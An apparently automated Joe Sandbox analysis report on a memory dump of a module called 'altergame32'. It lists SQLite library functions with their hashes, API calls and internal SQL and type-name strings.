Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: memcmpsqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
String ID:
API String ID: 4038589952-0
Opcode ID: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
Instruction ID: 916146ddc5613ce70bfe97dc7fabc38680eb49f4f4fdba01105907ea2da9c682
Opcode Fuzzy Hash: 29e5932b9866e1e5e2fcd92ac707fe98724786dada8c9b11deae4621e05e1fb7
Instruction Fuzzy Hash: 87F13674A046158FDB18CFA9C590A9EB7F7AFA8308F248429E846AB355D774EC42CF40

Function 6096A38C Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

sqlite3_bind_int.SQLITE3 ref: 6096A3DE

Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704

sqlite3_column_int.SQLITE3 ref: 6096A3F3
sqlite3_step.SQLITE3 ref: 6096A435
sqlite3_reset.SQLITE3 ref: 6096A445

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_bind_intsqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_prepare_v2sqlite3_resetsqlite3_step
String ID:
API String ID: 247099642-0
Opcode ID: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
Instruction ID: 69535c0605dcb565d56369453fd68d3a3097adfd173720c6e67b3d4aca8354ad
Opcode Fuzzy Hash: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
Instruction Fuzzy Hash: FF2151B0A143148BEB109FA9D88479EB7FAEF64308F00852DE89597350EBB8D845CF51

Function 6096A2BD Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

sqlite3_bind_int64.SQLITE3 ref: 6096A322

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_step.SQLITE3 ref: 6096A32D
sqlite3_column_int.SQLITE3 ref: 6096A347

Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C

sqlite3_reset.SQLITE3 ref: 6096A354

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2sqlite3_resetsqlite3_stepsqlite3_value_int
String ID:
API String ID: 326482775-0
Opcode ID: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
Instruction ID: 7c1586c82cd56d85cf32929a5cd575737867df940847ca2bf63216634e784e33
Opcode Fuzzy Hash: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
Instruction Fuzzy Hash: 0E214DB0A043049BDB04DFA9C480B9EF7FAEFA8354F04C429E8959B340E778D8418B51

Function 6090C1D6 Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 6090C1EA
sqlite3_mutex_leave.SQLITE3 ref: 6090C22F

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
Instruction ID: fc120f7ed3300d8301d0f99cb769197b575d5683181bd6b289e4b53452841bc5
Opcode Fuzzy Hash: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
Instruction Fuzzy Hash: 6501F4715042548BDB449F2EC4C576EBBEAEF65318F048469DD419B326D374D882CBA1

Function 609254B1 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406

sqlite3_mutex_leave.SQLITE3 ref: 60925508

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
Instruction ID: ad89f0bb34aa7175efe61e1ac22fb0c12735e6005c3b9edbf096fd229bca234b
Opcode Fuzzy Hash: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
Instruction Fuzzy Hash: 5A01A475B107148BCB109F2ACC8164BBBFAEF68254F05991AEC41DB315D775ED458BC0

Function 6090F435 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
Instruction ID: aa639d4c52eda77921d109c173628d401b16d57fa3137d2b917a91732d8775c8
Opcode Fuzzy Hash: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
Instruction Fuzzy Hash: D7C01265704208574B00E92DE8C154577AA9718164B108039E80B87301D975ED084291

Function 6096C598 Relevance: 51.2, APIs: 22, Strings: 7, Instructions: 417COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 6096C5BE

Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1

sqlite3_log.SQLITE3 ref: 6096C5FC
sqlite3_free.SQLITE3 ref: 6096C67E
sqlite3_free.SQLITE3 ref: 6096CD71
sqlite3_mutex_leave.SQLITE3 ref: 6096CD80
sqlite3_errcode.SQLITE3 ref: 6096CD88
sqlite3_close.SQLITE3 ref: 6096CD97
sqlite3_create_function.SQLITE3 ref: 6096CDF8

Strings

BINARY, xrefs: 6096C752, 6096C77A, 6096C7A2, 6096C7E7
rtree, xrefs: 6096CCF8
simple, xrefs: 6096CAAC
rtree_i32, xrefs: 6096CD1E
RTRIM, xrefs: 6096C7CA
porter, xrefs: 6096CACA
NOCASE, xrefs: 6096C817

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_closesqlite3_create_functionsqlite3_errcodesqlite3_initializesqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
String ID: BINARY$NOCASE$RTRIM$porter$rtree$rtree_i32$simple
API String ID: 1320758876-2501389569
Opcode ID: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
Instruction ID: 66f98c4e8467cc0752991b2fada45a5d6d89a43a55ba94f1559c09c68fc79e30
Opcode Fuzzy Hash: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
Instruction Fuzzy Hash: 7A024BB05183019BEB119F64C49536ABFF6BFA1348F11882DE8959F386D7B9C845CF82

Function 60926471 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 609264C9

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_free.SQLITE3 ref: 60926526
sqlite3_free.SQLITE3 ref: 6092652E
sqlite3_free.SQLITE3 ref: 6092658C
sqlite3_free.SQLITE3 ref: 60926626
sqlite3_win32_mbcs_to_utf8.SQLITE3 ref: 6092662E
sqlite3_free.SQLITE3 ref: 60926638
sqlite3_snprintf.SQLITE3 ref: 6092666B
sqlite3_free.SQLITE3 ref: 60926673
sqlite3_snprintf.SQLITE3 ref: 609266B8

Strings

winFullPathname4, xrefs: 6092660B
winFullPathname2, xrefs: 60926543
winFullPathname3, xrefs: 609265A1
\, xrefs: 6092668B
winFullPathname1, xrefs: 609264DE

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_mbcs_to_utf8
String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
API String ID: 937752868-2111127023
Opcode ID: 790c833cc1fbb367a9c2b03a48d0fe6427ec60a778556f52a2f7a42315cae969
Instruction ID: 65a1564e5812e901c47d2d0e8e64920046ae54dd737849fc0956122b524b53c9
Opcode Fuzzy Hash: 790c833cc1fbb367a9c2b03a48d0fe6427ec60a778556f52a2f7a42315cae969
Instruction Fuzzy Hash: 19512C706187018FE700AF69D88575DBFF6AFA5708F10C81DE8999B214EB78C845DF42

Function 6094844A Relevance: 24.9, APIs: 3, Strings: 11, Instructions: 374COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 60948728
PRAGMA vacuum_db.synchronous=OFF, xrefs: 609485BB
ATTACH ':memory:' AS vacuum_db;, xrefs: 60948534
ATTACH '' AS vacuum_db;, xrefs: 60948529
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';, xrefs: 60948768
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0), xrefs: 60948788
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' , xrefs: 609486E8
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %', xrefs: 60948708
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' , xrefs: 60948748
BEGIN;, xrefs: 609485DB
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 609486C8

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log
String ID: ATTACH '' AS vacuum_db;$ATTACH ':memory:' AS vacuum_db;$BEGIN;$INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)$PRAGMA vacuum_db.synchronous=OFF$SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' $SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0$SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'$SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' $SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';$SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
API String ID: 632333372-52344843
Opcode ID: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
Instruction ID: 17dae18cb22bd420f764556e48f7e631e7f528851c991f2db59136dec61311d4
Opcode Fuzzy Hash: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
Instruction Fuzzy Hash: 1202F6B0A046299BDB2ACF18C88179EB7FABF65304F1081D9E858AB355D771DE81CF41

Function 609602C8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 266COMMON

Download Yara Rule

APIs

Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B

Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043

sqlite3_malloc.SQLITE3 ref: 60960384
sqlite3_free.SQLITE3 ref: 609605EA
sqlite3_result_error_code.SQLITE3 ref: 6096060D
sqlite3_free.SQLITE3 ref: 60960618
sqlite3_result_text.SQLITE3 ref: 6096063C

Strings

offsets, xrefs: 609602DF

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_result_error_code$sqlite3_bind_int64sqlite3_mallocsqlite3_mprintfsqlite3_resetsqlite3_result_textsqlite3_stepsqlite3_value_bytes
String ID: offsets
API String ID: 463808202-2642679573
Opcode ID: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
Instruction ID: 1101d6838161b799219a4b3d5732631e197d31251dd2d8b91c34f261bd2faa79
Opcode Fuzzy Hash: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
Instruction Fuzzy Hash: 72C1D374A183198FDB14CF59C580B8EBBF2BFA8314F2085A9E849AB354D734D985CF52

Function 6091A3AA Relevance: 16.7, APIs: 11, Instructions: 175COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6091A3C1
sqlite3_value_bytes.SQLITE3 ref: 6091A3D6
sqlite3_value_text.SQLITE3 ref: 6091A3E4
sqlite3_value_bytes.SQLITE3 ref: 6091A416
sqlite3_value_text.SQLITE3 ref: 6091A424
sqlite3_value_bytes.SQLITE3 ref: 6091A43A
sqlite3_result_text.SQLITE3 ref: 6091A5A2

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_result_text
String ID:
API String ID: 2903785150-0
Opcode ID: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
Instruction ID: 050d84d3da0bd462ad4a4a15df4a38950001fc66f1de33c81d7c2c3a6f7146e7
Opcode Fuzzy Hash: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
Instruction Fuzzy Hash: 8971D074E086599FCF00DFA8C88069DBBF2BF59314F1485AAE855AB304E734EC85CB91

Function 60912453 Relevance: 15.2, APIs: 10, Instructions: 247COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091264D
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912662
sqlite3_malloc.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091273E
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912753
sqlite3_os_init.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912758
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912803
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091280E
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091282A
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091283F

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
String ID:
API String ID: 3556715608-0
Opcode ID: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
Instruction ID: 37d7613b282c24208f37f95ee69ae3eaf9c0527d79975c213f2f38643f7f707f
Opcode Fuzzy Hash: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
Instruction Fuzzy Hash: FEA14A71A2C215CBEB009F69CC843257FE7B7A7318F10816DD415AB2A0E7B9DC95EB11

Function 6091C159 Relevance: 14.0, Strings: 11, Instructions: 290COMMON

Download Yara Rule

Strings

0, xrefs: 6091C4E4
AND , xrefs: 6091C363
%s USING %sINDEX %s%s, xrefs: 6091C460
%s USING AUTOMATIC %sINDEX%.0s%s, xrefs: 6091C46E
SEARCH, xrefs: 6091C1A7, 6091C1D1
)><, xrefs: 6091C392, 6091C434
rowid, xrefs: 6091C317, 6091C3C1, 6091C400
SCAN, xrefs: 6091C1C7
, xrefs: 6091C4F8
COVERING , xrefs: 6091C45B
ANY(, xrefs: 6091C375

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID:
String ID: $ AND $%s USING %sINDEX %s%s$%s USING AUTOMATIC %sINDEX%.0s%s$)><$0$ANY($COVERING $SCAN$SEARCH$rowid
API String ID: 0-780898
Opcode ID: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
Instruction ID: 1b008e11d07f16b9462ef115b46fd1892196ed4c5360d6a6f9a636b6bab85f9b
Opcode Fuzzy Hash: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
Instruction Fuzzy Hash: 46D109B0A087099FD714CF99C19079DBBF2BFA8308F10886AE495AB355D774D982CF81

Function 609061F1 Relevance: 13.9, Strings: 11, Instructions: 114COMMON

Download Yara Rule

Strings

laer, xrefs: 60906261
tni, xrefs: 6090628D
txet, xrefs: 60906237
buod, xrefs: 609062B9
rahc, xrefs: 60906227
buod, xrefs: 60906279
aolf, xrefs: 6090626D
aolf, xrefs: 609062B0
bolb, xrefs: 6090623F
bolc, xrefs: 6090622F
laer, xrefs: 609062A7

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID:
String ID: aolf$aolf$bolb$bolc$buod$buod$laer$laer$rahc$tni$txet
API String ID: 0-2604012851
Opcode ID: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
Instruction ID: a78f5df49eecf700eafad7d6eadd6707640e608d2d263d021760269e78388884
Opcode Fuzzy Hash: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
Instruction Fuzzy Hash: 2D31B171A891458ADB21891C85503EE7FBB9BE3344F28902EC8B2DB246C735CCD0C3A2

